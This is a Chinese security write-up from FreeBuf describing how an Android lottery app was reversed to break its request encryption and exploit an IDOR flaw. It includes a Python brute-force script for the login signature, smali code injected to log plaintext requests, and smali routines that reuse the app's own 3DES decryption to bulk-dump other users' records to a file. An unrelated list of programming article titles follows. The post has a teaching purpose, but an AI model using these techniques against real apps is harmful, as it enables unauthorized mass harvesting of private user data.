从APK解密到批量获取他人信息
0x00.背景
APK是AndroidPackage的缩写,即Android安装包(apk)。APK是类似Symbian Sis或Sisx的文件格式。通过将APK文件直接传到Android模拟器或Android手机中执行即可安装。 本次对这个APK进行分析,通过解密加密的数据,进而发现存在越权漏洞,然后就可以批量下载其他用户的数据。
0x01.过程
1.1 登录破解
1.安装完成APK后,打开,使用burp截包,没想到,在登录的地方就进行了加密。
2.此时在logcat中看到了敏感信息,存在关键字“加密前”和“加密后”
3.于是反编译APK,搜索“加密前”,用JD-GUI打开
可以清楚的看到,加密的字段就是这段代码了,代码追踪后,发现str1就是输入的用户名,那现在明白了,sing的值就是md5(用户名+xxx@xxx.cn)。下面也证明了
既然知道了加密的算法,那就开始破解吧,使用python生成了密码本,然后对用户名进行破解。
import hashlib
import os
md5value = []
f1 = file('/Users/0xExploit/Tools/passwd1.txt')
for i in f1.readlines():
i = i.strip('nr')
md5_32 = hashlib.md5(i+'xxx@xxx.com').hexdigest()
md5value.append(md5_32)
f1.close()
f2 = file('/Users/0xExploit/Tools/passwd_md5.txt','a+')
for i in md5value:
f2.writelines(i+os.linesep)
f2.close()
如果就这么结束了,那也太easy了。。
1.2 功能破解
成功破解出一个账号,登录后,随便点击一个功能模块,使用burp截包。request数据包如下,可以看到,又进行了加密。。
response数据包如下,也是加密的。
仔细想想,数据包发送和接收都是加密的,那么加密和解密的函数一般都在APK里面,不然数据无法正常显示在 页面上。
从图中可以看到,请求的data部分是msg=...,于是我们在反编译后的代码中搜索msg,定位到httpRequestManager.class中,然后确认msg的值是str2=localDispatchProtocal.mashall()。那现在我们看看mashall()中的代码吧。
看到字符串"mashall明文"和"mashall密文"了,好激动。。但是可以看到str3中包含了很多的数据,那么我们直 接用log输出吧。
定义一个crack.smali文件,放到反编译后的smali文件夹中,内容如下:
.class public Lcrack;
.super Ljava/lang/Object;
.source "crack.java"
.method public static log(Ljava/lang/String;)V
.locals 1
.prologue
const-string v0, "info1"
invoke-static {v0, p0}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
return-void
.end method
然后再smali中,添加如下代码,v6是加密前的数据,V8是加密后的数据,所以我们直接在Log中将代码输出。
在“mashall明文”上面,还有一个字段使用了MD5进行了加密,我们定位到MD5函数,仍然使用Log,将参数输 出出来。然后打开eclipse,重新打包APK,运行程序。观察Log,如下:
第一条日志:是当前时间,即代码中的setPostTime()函数.
第二条日志:参数+当前时间+salt
第三条日志:md5(参数+当前时间+salt)
第四条日志:request加密前内容
第五条日志:request加密后的内容。
现在我们比一下,在一次测试中,burp拦截到的msg内容和Log中加密后的数据是一样的。
通过这几条日志的分析,我们现在已经很清楚的知道了request中参数是如何进行加密的。这里面唯一的变量就是userId(setPostTime()可以是一样的值),通过修改userId,巧合的测试到此处存在水平权限问题,即可以查询到其他用户的信息。
1.3 批量破解
通过前面的分析,我们知道,可以获取到其他用户的信息,但是我们还不能通过burp的intruder功能,因为返回 的信息是加密的。那我们现在找找解密的函数吧。 因为上面的加密函数是encrypt3DES(),所以现在我们搜索3DES相关的函数,最终找到了解密函数decrypt3DES()
现在,我们可以编程实现这个算法,然后统一解密,也可以编写smali,直接进行解密。 我采用第二种方式(并不 是直接写smali,而是先写android代码,然后反编译得到自己想要的代码)
我采用的思路是:直接利用APK中的解密函数,批量进行解密。
1.使用python的urllib2模块批量请求,这个很方便。
2.将加密的response放到数组中,然后在一个onclick中执行for循环,调用unmashall()(unmashall函数是调用decrypt3DES进行解密的函数)函数,for循环类似如下:
.method public static get()V
.locals 4
.prologue
.line 20
const/16 v2, 0xa
new-array v1, v2, [Ljava/lang/String;
.line 21
.local v1, "str":[Ljava/lang/String;
const/4 v2, 0x0
const-string v3, "........."
aput-object v3, v1, v2
.line 22
const/4 v0, 0x0
.local v0, "i":I
:goto_0
array-length v2, v1
if-lt v0, v2, :cond_0
.line 26
return-void
.line 23
:cond_0
invoke-virtual {v3}, Lcom/jifenka/lottery/manager/SecurityManager;->unmashall(Ljava/lang/String;)Ljava/lang/String;
.line 22
add-int/lit8 v0, v0, 0x1
goto :goto_0
.end method
3.写一个将解密的response写入到文件的代码,如下:
.method public static puts(Ljava/lang/String;)V
.locals 7
.prologue
:try_start_0
const-string v3, "/sdcard/debug.txt"
new-instance v2, Ljava/io/FileOutputStream;
const/4 v5, 0x1
invoke-direct {v2, v3, v5}, Ljava/io/FileOutputStream;-><init>(Ljava/lang/String;Z)V
.line 19
new-instance v4, Ljava/io/OutputStreamWriter;
const-string v5, "gb2312"
invoke-direct {v4, v2, v5}, Ljava/io/OutputStreamWriter;-><init>(Ljava/io/OutputStream;Ljava/lang/String;)V
.line 21
invoke-virtual {v4, p0}, Ljava/io/OutputStreamWriter;->write(Ljava/lang/String;)V
const-string v5, "rn"
invoke-virtual {v4, v5}, Ljava/io/OutputStreamWriter;->write(Ljava/lang/String;)V
.line 23
invoke-virtual {v4}, Ljava/io/OutputStreamWriter;->flush()V
.line 25
invoke-virtual {v4}, Ljava/io/OutputStreamWriter;->close()V
.line 27
invoke-virtual {v2}, Ljava/io/FileOutputStream;->close()V
:try_end_0
.catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0
.line 37
:cond_0
:goto_0
return-void
.line 30
:catch_0
move-exception v0
.line 34
const-string v5, "debug"
const-string v6, "file write error"
invoke-static {v5, v6}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
goto :goto_0
.end method
4.在response函数中引用puts方法,就会执行
5.最终结果如下(就测试了几个账号。):
0x03. 总结
其实这个渗透就是用了一个水平越权的漏洞,但是在很多APK中并没有重视这些问题,以为加密了就能解决问题。
[本文作者/0xExploit,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)]
- Spring基础篇——通过Java注解和XML配置装配bean
- Java多线程高并发学习笔记(二)——深入理解ReentrantLock与Condition
- 算法模板——线段树1(区间加法+区间求和)
- 【LeetCode 205】关关的刷题日记38 Isomorphic Strings
- JavaScript基础2---控制权DOM操作
- 算法模板——线段树3(区间覆盖值+区间求和)
- 算法模板——线段树4(区间加+区间乘+区间覆盖值+区间求和)
- 【LeetCode 204】关关的刷题日记39 Count Primes
- 算法模板——并查集 1
- Java 持久化操作之 --io流与序列化
- 算法模板——LCA(最近公共祖先)
- 算法模板——AC自动机
- UOJ #117. 欧拉回路
- 算法模板——左偏树(可并堆)
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- 基于SSM框架与Maven的CRUD案例
- Java 8的这个新特性,你用了吗?
- JSP+Servlet项目整合
- springboot 整合 Mybatis、JPA、Redis
- 数据库中设置列/字段自增(Oracle和Mysql)
- 数据库中日期的插入(Oracle和Mysql)
- 浅谈在进行jsp页面编程时,路径问题的解决(绝对路径与相对路径)
- 浅谈springMVC中,中文乱码的显示问题(持续更新)
- 数据库的优化方法,一般人我不告诉他(建议收藏)
- idea 远程调试
- 嘘!高效快速的刷访问量(偷偷收藏)
- 进行JDBC操作时,连接参数的配置(附DBUtil工具类)
- JavaEE中,考勤(签到签退)功能的实现
- HTTP协议详解,浏览器和服务器交互过程详解
- 京东网页(动态)搭建,利用jquery实现